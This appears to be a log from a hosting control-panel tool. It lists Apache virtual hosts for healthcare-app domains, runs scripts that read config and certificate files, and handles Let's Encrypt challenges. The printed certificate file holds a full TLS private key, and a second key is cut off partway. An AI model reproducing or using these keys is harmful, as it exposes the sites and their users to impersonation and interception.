         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:01:45: 

PUT: /tmp/pkp224578

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_audio_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:01:45: 

chmod 755 /tmp/pkp224578; /tmp/pkp224578; rm /tmp/pkp224578

2025-11-30 06:01:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf	1469

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2025-11-30 06:01:45: 

PUT: /tmp/pkp607444

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:01:45: 

chmod 755 /tmp/pkp607444; /tmp/pkp607444; rm /tmp/pkp607444

2025-11-30 06:01:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt	5361
e3:b9:74:d3:f1:d1:af:6d:da:cf:e8:f2:bd:2e:4c:67

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBVOOahBijFhziCHo/29MpEJfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTMwMDUwMzE0WhcNMjYwMjI4MDUwMzEzWjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCovhxIk9v+2pqURAL7bRpMq3fcJ/GJnhHOwHwaJgUri43U8MNbutN3
TPGIzUNH3/5F+NjFQ9qQqZroem5kGuFVpJxghh8lHue3loNYIOA1gGcd1xtZynYb
lEDKZl1hfvASypiBBxMUQzLfzl3MwPw6C6EKIMnwzDUmNd2KSEgz98gYrkQ8Ed1Y
YoFK+A9COOWsEaBzv8UDJ4rj+IT3gNSG9HTiVJg8ma2aihTbyuvylZDfdmC3moKI
K4zJb5MXyLGrmC9JUncRFBT6QNO5BDQ+dH7PoNoEXyUCzmqmfRBOyK8tHkHDkL60
tRIVZd84EJKm7xpSwRf8IJXRndJtvx0BAgMBAAGjggIlMIICITAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFCcPCKYBRD7PcTmzGyLGAF1LY8azMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8ucGF0aWVu
dGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTYuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa01pX
WgAABAMARzBFAiBjtWLOgDVd+plj+baZwKlkkLufRMO9NKAjNpb0DLpcmwIhAN4F
/wPv2D6eyHPcLvgoPHErZzTL+8+C4OjAKP3eqYJ1AHYAyzj3FYl8hKFEX1vB3fvJ
bvKaWc1HCmkFhbDLFMMUWOcAAAGa01pXcgAABAMARzBFAiAvxPIi62QPh+XmAxoC
TqXL6zYBmbAvM/NzziK73LSJ7QIhAOQc3AiYJ9sZUPksOozmZ3k+KAkfkTqVab4k
ZS4gg6YaMA0GCSqGSIb3DQEBCwUAA4IBAQC/G5WDW108VgDIyQ79MNiVBkqKep2N
zJJ3X+EahHGpWgSFJMSm3gcuR5da59gviBXcbCaoeTPaa6kLFubKpjnKlTu8Dzi8
icIBZWRHGrcz1GswMW0ke95grASKecAcRB5//3quP5XzJt+y9z3czJzIf4bsZ3x1
VAPdWs5bWwrE3Eo1O+4eqVOUYlTvNMp8E8Qf+KJgGFCWX/TznvV4jmdQmxJWKlbA
8YmUrMXjWPmAXnrR+kOP7bNn5zxNPk1tg6kA44nWmP6M8ed+tWr5/14u59Kk8Cah
Cx7bgrhd6M8SGNItCEqhiyCM6gwL0841DezVdtMQhXbqPmNPEpghnJ2m
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCovhxIk9v+2pqU
RAL7bRpMq3fcJ/GJnhHOwHwaJgUri43U8MNbutN3TPGIzUNH3/5F+NjFQ9qQqZro
em5kGuFVpJxghh8lHue3loNYIOA1gGcd1xtZynYblEDKZl1hfvASypiBBxMUQzLf
zl3MwPw6C6EKIMnwzDUmNd2KSEgz98gYrkQ8Ed1YYoFK+A9COOWsEaBzv8UDJ4rj
+IT3gNSG9HTiVJg8ma2aihTbyuvylZDfdmC3moKIK4zJb5MXyLGrmC9JUncRFBT6
QNO5BDQ+dH7PoNoEXyUCzmqmfRBOyK8tHkHDkL60tRIVZd84EJKm7xpSwRf8IJXR
ndJtvx0BAgMBAAECggEATXRGA0JrXsX04k19mO7xfXPPZqym/+Yggmh0DoSZJu29
wppo8bgFzOLykzq0wU8dpfydc567ul8/jap09VopSGhwpxWpQh63eduKmm8suyIf
MuFD2qlGIU6hlsX54wCjLdz0t3UJ2ukldvmAsLV8kSA5YS6/wtnZI5rh/9FB4yf/
/0Q4w+FUaQlibAS/WyDjU/gWtM908CNZxwMtOdf14Yt3L8a6G421dy/jOckmzdya
lEihch6NTn1FPWeEBpFTbbm17njySJXdnawkUjIYOz3f0+8ilMWgBv2pAW0QZC1o
M67lDIt1XjYXhVhRfRN5YIz276vntCQraxoYmXJgAQKBgQDcNWBxYx0vL4AEWFHY
672RIC9G5B+zBoCCIckU4qV/O1pjqu1mt5XaZwADQ79RYh2fRONireSTe32S+8tg
tn/Tt//iIABVdLi4hvnnoGzyhTtjQ1mMN1WX7O0ETVPTR2yvjKWUSS8m2iTGwI5g
UZ6kmWevp8eu5vRCbLQ8R8vdwQKBgQDEK0wfEBVOMm9M41aUj/lGg7gvaVh3+Z7U
yv5d4NVGv09x2KK7G6lsHqTjkwEQMu5MUEm5EOBNQ6H6mPUmQs6cgAkUboRrXPBE
x3pOXhSfnL9aeRsMEeYo0IaqWf6WZBY60Enmakr5YcsViRhRft6IFb8t1RvmC1HO
0D7gg12PQQKBgQCR1/Q5BKjWkIIb3pbOsUtK6+MD86CfBEZmaZPw9i8f9iJmclVr
O1nPXXpfryXt86qkyo5C0+LYXuiLSaKoOhatFWcuz30JHBYfeJ3Y76JYeS8dDgUn
3Zod1fggakqDWwG7vs4HSPUmqUHENNHXLxd/8m3+o4OX7jSGLdKtPeviwQKBgEFm
Ue11NjUouVR/4kiLK0bn+QrNazIsZVh6CI2RvGjmtPy2haItmbEzEjPQuaUF5c5J
Yhqx1qXLq3/ZaLmFwk4InX5TThBhHrU/b7YaxXNlFaJ7B5phiUMIKi027ZqD6alX
8ZtAypgTk1otp47b5iKmZWNJThDGq1JwuNWu1g1BAoGBAKIu8RiyVebMX/t2Ptac
9xv7N2/OfJZd+M3IQ5Iy0W/zDt8DSqkhR6CZwNedFvxN+5OouO47/Mx0vOX+3KQm
wpXLTDTS92ltbkstrRs0/FKnltuuXLA1Qvi2T+PHf73EEGpEaPf9U0XtLSkNObn7
lZfmYEOMsLCRaqo0DYksHYku
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-30 06:01:45: Establishing a connection
2025-11-30 06:01:46: Establishing a connection
2025-11-30 06:01:46: 

PUT: /tmp/pkp361169

#!/bin/bash
if [ -d "/var/www/ineedtosaythis_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-30 06:01:46: 

chmod 755 /tmp/pkp361169; /tmp/pkp361169; rm /tmp/pkp361169

2025-11-30 06:01:46: 


1


2025-11-30 06:01:47: Establishing a connection
2025-11-30 06:01:47: 

PUT: /tmp/pkp742422

#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cat > s4DWIuQZAjtF2xnEPi29t7-UO4GOLEpuCvQknj902dg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
s4DWIuQZAjtF2xnEPi29t7-UO4GOLEpuCvQknj902dg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 s4DWIuQZAjtF2xnEPi29t7-UO4GOLEpuCvQknj902dg
cat > pmTGyWojRPKDDWet2MhLjmnF_Q7C1es9MbWrlFNOpwY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
pmTGyWojRPKDDWet2MhLjmnF_Q7C1es9MbWrlFNOpwY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 pmTGyWojRPKDDWet2MhLjmnF_Q7C1es9MbWrlFNOpwY


2025-11-30 06:01:47: 

chmod 755 /tmp/pkp742422; /tmp/pkp742422; rm /tmp/pkp742422

2025-11-30 06:01:47: 




2025-11-30 06:01:53: Establishing a connection
2025-11-30 06:01:53: 

PUT: /tmp/pkp512850

#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
rm s4DWIuQZAjtF2xnEPi29t7-UO4GOLEpuCvQknj902dg
rm pmTGyWojRPKDDWet2MhLjmnF_Q7C1es9MbWrlFNOpwY


2025-11-30 06:01:53: 

chmod 755 /tmp/pkp512850; /tmp/pkp512850; rm /tmp/pkp512850

2025-11-30 06:01:53: 




2025-11-30 06:01:53: Establishing a connection
2025-11-30 06:01:53: 

PUT: /tmp/pkp799265

#!/bin/bash
temp_file=$(mktemp)
TARGET=30544cb98a5f34c59eb0febd8752cfa0.crt

cat > $temp_file <<'endmsg'
2b:5d:c9:6d:88:d2:7f:4d:dd:7e:52:0a:65:3a:3a:d0

-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBZpb74z+4VWjYfnCkKd85lX0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMzIyWhcNMjYwMjI4MDUwMzIxWjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDSgNgzJ7XoJOC+iiJyYnzPehKL4JD1pQopzBHw8J6g+B1J80e/v4BB1doD
pWvp3we2nL1GCICNjbJHMBsCBhdGAfK5Aofm4V38sKheB+4k7nrqkRlCIlLkLCus
Vw0L3/xk9M17dgtJvJtBkfqUsm6wJpXt4AajDDFJsBsTN21wnXP72oTr/i3Nirb6
RvPCgs/VKJ89TC5Wp0QsckKMp92CxcciXHXV2kK8HGmQhiI1J6hAirWlkT0Bu10q
/k+npWIXWaW3ntWsuH+yMsDvzUyVh5t2x+r1zX6QoBKj3X7BKeMkqTSpTk9fMJWz
ytdXZg19KYhPIiQHOpYRvrAcIXLFAgMBAAGjggI6MIICNjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFFXxz/zYt0Ee/cTJh+E9loRHVmDuMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISaW5lZWR0b3NheXRoaXMu
Y29tghZ3d3cuaW5lZWR0b3NheXRoaXMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE3LmNy
bDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AMs49xWJfIShRF9bwd37yW7ymlnN
RwppBYWwyxTDFFjnAAABmtNad8kAAAQDAEYwRAIgGGB3/aAsyO819GtIep0td/GN
4RgNgLSHwbWleAl+wZsCIAS92S/Z831vh4gBTL6NJIZSRfAvaA6U16cX8a6ICBB9
AHYADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa01p3jQAABAMA
RzBFAiEAhVL4TBDzeFZ1NbD29Hy+Uy0O7yjPMs05ll36J0CESAsCIHEN68985XJ4
SPYpS9Nknhe5miBdtNEz5whxtB/3cCxHMA0GCSqGSIb3DQEBCwUAA4IBAQBTs+ZT
+qsfHomjm1y8cz5b9ZqZrjoeG3llgL6QUaZ0VNP2dJEPb417fpTFPrF61/oSzz3M
Wnaf/6YvIbUR4vcKg8H8X9nRKP84N0D1ospkGmc094i0T0W9nn+zgPTd4Z4U9Qdw
zwaBF2seIGcr4IDadRjrq5YKVr45q8hZERwzCMkNA/ZdwDeXRjN+n5T96HUe/Duq
aOqLzJBNFCbiYddWp84XOaS05SXK5WAXooBGLmRtH44KXvPArxHNZgJ5Pk27lrfJ
vFaXeffsRyj4hSczMcCD4j1lCeTFdTOCK5cdwjAUN0r0Awr/VORQdKEdf63L1aOL
PRqcRiR3kTso130m
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDSgNgzJ7XoJOC+
iiJyYnzPehKL4JD1pQopzBHw8J6g+B1J80e/v4BB1doDpWvp3we2nL1GCICNjbJH
MBsCBhdGAfK5Aofm4V38sKheB+4k7nrqkRlCIlLkLCusVw0L3/xk9M17dgtJvJtB
